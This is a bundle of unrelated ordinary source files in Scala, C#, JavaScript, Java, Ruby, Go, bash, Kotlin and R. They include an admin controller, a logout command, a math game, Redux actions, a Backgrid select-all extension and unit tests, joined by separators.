Ok(s"$nodesCompleted nodes processed.")
}
}
}
/** Запуск удаления всех img-деривативов. */
def deleteAllDynImgDerivatives() = csrf.Check {
isSu().async { implicit request =>
for {
res <- dynImgUtil.deleteAllDerivatives( deleteEvenStorageMissing = false )
} yield {
Ok(s"$res imgs deleted.")
}
}
}
private def _CP_PATH_LEN_MAX = 255
private def _cpPathForm = {
import play.api.data._, Forms._
Form(
single(
"cpPath" -> nonEmptyText(maxLength = _CP_PATH_LEN_MAX, minLength = 3)
)
)
}
/** Рендер формы запроса ресурса из classpath. */
def getClassPathResourceInfoGet() = csrf.AddToken {
isSu() { implicit request =>
val form = _cpPathForm
Ok( CpResFormTpl(form) )
}
}
/** Сабмит формы запроса ресурса из classpath. */
def getClassPathResourceInfoPost() = csrf.Check {
isSu() { implicit request =>
_cpPathForm.bindFromRequest().fold(
{errors =>
val msg = s"failed to bind form: ${formatFormErrors(errors)}"
LOGGER.warn(msg)
NotAcceptable(msg)
},
{cpPath =>
env
.resource(cpPath)
.fold[Result] {
NotFound(s"Resource not found in ClassPath: $cpPath")
} { resUrl =>
val conn = resUrl.openConnection()
val msg = s"$cpPath : ${conn.getContentType} ${conn.getContentLength} bytes"
Ok(msg)
}
}
)
}
}
}
|
using PhotoShare.Client.Core.Contracts;
using PhotoShare.Services.Contracts;
using System;
using System.Collections.Generic;
using System.Text;
namespace PhotoShare.Client.Core.Commands
{
public class LogoutCommand : ICommand
{
private readonly IUserSessionService userSessionService;
public LogoutCommand(IUserSessionService userSessionService)
{
this.userSessionService = userSessionService;
}
public string Execute(string[] args)
{
bool isUserLoggedIn = userSessionService.IsLoggedIn();
if (!isUserLoggedIn)
{
throw new ArgumentException("You should log in first in order to logout.");
}
string username = userSessionService.WhoAmI();
userSessionService.LogOut();
return $"User {username} successfully logged out!";
}
}
}
|
import { getRandomNumber, randomArithmeticSign } from './lib';
const calc = (arithmeticSign, number1, number2) => {
switch (arithmeticSign) {
case '+':
return number1 + number2;
case '-':
return number1 - number2;
case '*':
return number1 * number2;
default:
throw Error(`don't know operations ${arithmeticSign}`);
}
};
export default {
gameDescription: 'What is the result of the expression?',
generateProblem() {
const arithmeticSign = randomArithmeticSign();
const number1 = getRandomNumber(1, 100);
const number2 = getRandomNumber(1, 100);
const description = `${number1} ${arithmeticSign} ${number2}`;
const solution = calc(arithmeticSign, number1, number2).toString();
return { description, solution };
},
};
|
import java.util.PriorityQueue;
public class Solution {
public int kthSmallest(int[][] matrix, int k) {
PriorityQueue<Tuple> queue = new PriorityQueue<>();
for (int j = 0; j < matrix.length; j++) queue.offer(new Tuple(0, j, matrix[0][j]));
while (--k != 0) {
Tuple entry = queue.poll();
if (entry.x < matrix.length - 1) {
queue.offer(new Tuple(entry.x + 1, entry.y, matrix[entry.x + 1][entry.y]));
}
}
return queue.poll().val;
}
}
class Tuple implements Comparable<Tuple> {
int x, y, val;
Tuple(int x, int y, int val) {
this.x = x;
this.y = y;
this.val = val;
}
@Override
public int compareTo(Tuple that) {
return this.val - that.val;
}
}
|
# frozen_string_literal: true
class RemovePdfFromLessonDocument < ActiveRecord::Migration
def change
remove_column :lesson_documents, :pdf
end
end
|
package engine
import "github.com/PioneerRobot/core"
// 对实际的引擎进行代理
type proxyAccessor struct {
proxy *simpleEngineWrapper
}
func (h *proxyAccessor) Global () core.Global {
return h.proxy.global
}
func (h *proxyAccessor) RootConfig () core.ConfigMap {
return h.proxy.rootConfig
}
func (h *proxyAccessor) ErrorManager () core.ErrorManager {
return h.proxy.global.ErrorManager()
}
func (h *proxyAccessor) Components () map[core.CID]core.Component {
return h.proxy.components
}
func (h *proxyAccessor) Schedulers () map[core.CID]core.Scheduler {
return h.proxy.schedulers
}
func (h *proxyAccessor) ContentScheduler () core.ContentScheduler {
return h.proxy.contentScheduler
}
func (h *proxyAccessor) TransformScheduler () core.TransformScheduler {
return h.proxy.transformScheduler
}
func (h *proxyAccessor) HandleScheduler () core.HandleScheduler {
return h.proxy.handleScheduler
}
func (h *proxyAccessor) PushScheduler () core.PushScheduler {
return h.proxy.pushScheduler
}
func (h *proxyAccessor) Receivers () map[core.CID]core.Receiver {
return h.proxy.receivers
}
func (h *proxyAccessor) Pollers () map[core.CID]core.Poller {
return h.proxy.pollers
}
func (h *proxyAccessor) Transformers () map[core.CID]core.Transformer {
return h.proxy.transformers
}
func (h *proxyAccessor) Handlers () map[core.CID]core.Handler {
return h.proxy.handlers
}
func (h *proxyAccessor) Senders () map[core.CID]core.Sender {
return h.proxy.senders
}
func (h *proxyAccessor) Pushers () map[core.CID]core.Pusher {
return h.proxy.pushers
}
|
#!/bin/bash
file_name=$1
shift
pip3 install -r requirements.txt
PYTHONPATH="${PYTHONPATH}:$(pwd)"
export PYTHONPATH
python3 "./src/$file_name.py" "$@"
|
import * as types from 'actions/actionTypes';
import Posts from 'api/Posts';
/**
*
* @returns {{type: LOAD_POSTS_BEGIN}}
*/
export function postsLoadBegin() {
return {
type: types.LOAD_POSTS_BEGIN
};
}
/**
*
* @param posts
* @returns {{type: LOAD_POSTS_COMPLETE, posts: *}}
*/
export function postsLoadComplete(posts) {
return {
type: types.LOAD_POSTS_COMPLETE,
posts
};
}
/**
*
* @param {boolean} isAdmin
* @returns {Function}
*/
export function postsLoad(isAdmin = false) {
return (dispatch) => {
dispatch(postsLoadBegin());
return Posts.fetchAll(isAdmin)
.then((posts) => {
dispatch(postsLoadComplete(posts));
})
.catch((error) => {
throw (error);
});
};
}
/**
*
* @returns {{type: LOAD_POSTS_BEGIN}}
*/
export function postLoadBegin() {
return {
type: types.LOAD_POST_BEGIN
};
}
/**
*
* @param post
* @returns {{type: LOAD_POSTS_COMPLETE, posts: *}}
*/
export function postLoadComplete(post) {
return {
type: types.LOAD_POST_COMPLETE,
post
};
}
/**
*
* @returns {{type: LOAD_POST_ERROR, error: Error}}
*/
export function postLoadError(error) {
return {
type: types.LOAD_POST_ERROR,
error
};
}
/**
*
* @returns {Function}
*/
export function postLoad(id) {
return (dispatch) => {
dispatch(postLoadBegin());
return Posts.fetchById(id)
.then((post) => {
dispatch(postLoadComplete(post));
})
.catch((error) => {
dispatch(postLoadError(error));
});
};
}
|
package uk.co.ben_gibson.git.link.url
import uk.co.ben_gibson.git.link.git.Commit
import uk.co.ben_gibson.git.link.git.File
import uk.co.ben_gibson.git.link.ui.LineSelection
import java.net.URL
sealed class UrlOptions(val baseUrl: URL)
class UrlOptionsCommit(baseUrl: URL, val commit: Commit) : UrlOptions(baseUrl)
class UrlOptionsFileAtCommit(
baseUrl: URL,
val file: File,
val commit: Commit,
val lineSelection: LineSelection? = null
) : UrlOptions(baseUrl)
class UrlOptionsFileAtBranch(
baseUrl: URL,
val file: File,
val branch: String,
val lineSelection: LineSelection? = null
) : UrlOptions(baseUrl)
|
convert_dataframe_to_tibble <- function(res) {
if (requireNamespace("tibble", quietly = TRUE)) {
res <- tibble::as_tibble(res)
}
res
}
|
/*
backgrid-select-all
http://github.com/wyuenho/backgrid
Copyright (c) 2013 Jimmy Yuen Ho Wong and contributors
Licensed under the MIT @license.
*/
(function (window, $, _, Backbone, Backgrid) {
/**
Renders a checkbox for row selection.
@class Backgrid.Extension.SelectRowCell
@extends Backbone.View
*/
var SelectRowCell = Backgrid.Extension.SelectRowCell = Backbone.View.extend({
/** @property */
className: "select-row-cell",
/** @property */
tagName: "td",
/** @property */
events: {
"keydown :checkbox": "onKeydown",
"change :checkbox": "onChange",
"click :checkbox": "enterEditMode"
},
/**
Initializer. If the underlying model triggers a `select` event, this cell
will change its checked value according to the event's `selected` value.
@param {Object} options
@param {Backgrid.Column} options.column
@param {Backbone.Model} options.model
*/
initialize: function (options) {
Backgrid.requireOptions(options, ["model", "column"]);
this.column = options.column;
if (!(this.column instanceof Backgrid.Column)) {
this.column = new Backgrid.Column(this.column);
}
this.listenTo(this.model, "backgrid:select", function (model, selected) {
this.$el.find(":checkbox").prop("checked", selected).change();
});
},
/**
Focuses the checkbox.
*/
enterEditMode: function () {
this.$el.find(":checkbox").focus();
},
/**
Unfocuses the checkbox.
*/
exitEditMode: function () {
this.$el.find(":checkbox").blur();
},
/**
Process keyboard navigation.
*/
onKeydown: function (e) {
var command = new Backgrid.Command(e);
if (command.passThru()) return true; // skip ahead to `change`
if (command.cancel()) {
e.stopPropagation();
this.$el.find(":checkbox").blur();
}
else if (command.save() || command.moveLeft() || command.moveRight() ||
command.moveUp() || command.moveDown()) {
e.preventDefault();
e.stopPropagation();
this.model.trigger("backgrid:edited", this.model, this.column, command);
}
},
/**
When the checkbox's value changes, this method will trigger a Backbone
`backgrid:selected` event with a reference of the model and the
checkbox's `checked` value.
*/
onChange: function (e) {
this.model.trigger("backgrid:selected", this.model, $(e.target).prop("checked"));
},
/**
Renders a checkbox in a table cell.
*/
render: function () {
this.$el.empty().append('<input tabindex="-1" type="checkbox" />');
this.delegateEvents();
return this;
}
});
/**
Renders a checkbox to select all rows on the current page.
@class Backgrid.Extension.SelectAllHeaderCell
@extends Backgrid.Extension.SelectRowCell
*/
var SelectAllHeaderCell = Backgrid.Extension.SelectAllHeaderCell = SelectRowCell.extend({
/** @property */
className: "select-all-header-cell",
/** @property */
tagName: "th",
/**
Initializer. When this cell's checkbox is checked, a Backbone
`backgrid:select` event will be triggered for each model for the current
page in the underlying collection. If a `SelectRowCell` instance exists
for the rows representing the models, they will check themselves. If any
of the SelectRowCell instances trigger a Backbone `backgrid:selected`
event with a `false` value, this cell will uncheck its checkbox. In the
event of a Backbone `backgrid:refresh` event, which is triggered when the
body refreshes its rows, which can happen under a number of conditions
such as paging or the columns were reset, this cell will still remember
the previously selected models and trigger a Backbone `backgrid:select`
event on them such that the SelectRowCells can recheck themselves upon
refreshing.
@param {Object} options
@param {Backgrid.Column} options.column
@param {Backbone.Collection} options.collection
*/
initialize: function (options) {
Backgrid.requireOptions(options, ["column", "collection"]);
this.column = options.column;
if (!(this.column instanceof Backgrid.Column)) {
this.column = new Backgrid.Column(this.column);
}
var collection = this.collection;
var selectedModels = this.selectedModels = {};
this.listenTo(collection, "backgrid:selected", function (model, selected) {
if (selected) selectedModels[model.id || model.cid] = model;
else {
delete selectedModels[model.id || model.cid];
this.$el.find(":checkbox").prop("checked", false);
}
});
this.listenTo(collection, "remove", function (model) {
delete selectedModels[model.cid];
});
this.listenTo(collection, "backgrid:refresh", function () {
this.$el.find(":checkbox").prop("checked", false);
for (var i = 0; i < collection.length; i++) {
var model = collection.at(i);
if (selectedModels[model.id || model.cid]) {
model.trigger('backgrid:select', model, true);
}
}
});
},
/**
Progagates the checked value of this checkbox to all the models of the
underlying collection by triggering a Backbone `backgrid:select` event on
the models themselves, passing each model and the current `checked` value
of the checkbox in each event.
*/
onChange: function (e) {
var checked = $(e.target).prop("checked");
var collection = this.collection;
collection.each(function (model) {
model.trigger("backgrid:select", model, checked);
});
}
});
/**
Convenient method to retrieve a list of selected models. This method only
exists when the `SelectAll` extension has been included.
@member Backgrid.Grid
@return {Array.<Backbone.Model>}
*/
Backgrid.Grid.prototype.getSelectedModels = function () {
var selectAllHeaderCell;
var headerCells = this.header.row.cells;
for (var i = 0, l = headerCells.length; i < l; i++) {
var headerCell = headerCells[i];
if (headerCell instanceof SelectAllHeaderCell) {
selectAllHeaderCell = headerCell;
break;
}
}
var result = [];
if (selectAllHeaderCell) {
for (var modelId in selectAllHeaderCell.selectedModels) {
result.push(this.collection.get(modelId));
}
}
return result;
};
}(window, jQuery, _, Backbone, Backgrid));
|
using System;
using LanguageExt.ClassInstances;
using Xunit;
using static LanguageExt.Prelude;
namespace LanguageExt.Tests.Transformer.Traverse.TryOptionT.Sync
{
public class TryOptionTryOption
{
[Fact]
public void FailIsSuccFail()
{
var ma = TryOption<TryOption<int>>(new Exception("fail"));
var mb = ma.Sequence();
var mc = TryOption(TryOption<int>(new Exception("fail")));
Assert.True(default(EqTryOption<TryOption<int>>).Equals(mb, mc));
}
[Fact]
public void SuccFailIsFail()
{
var ma = TryOption(TryOptionFail<int>(new Exception("fail")));
var mb = ma.Sequence();
var mc = TryOptionFail<TryOption<int>>(new Exception("fail"));
Assert.True(default(EqTryOption<TryOption<int>>).Equals(mb, mc));
}
[Fact]
public void SuccSuccIsSuccSucc()
{
var ma = TryOption(TryOption(1234));
var mb = ma.Sequence();
var mc = TryOption(TryOption(1234));
Assert.True(default(EqTryOption<TryOption<int>>).Equals(mb, mc));
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.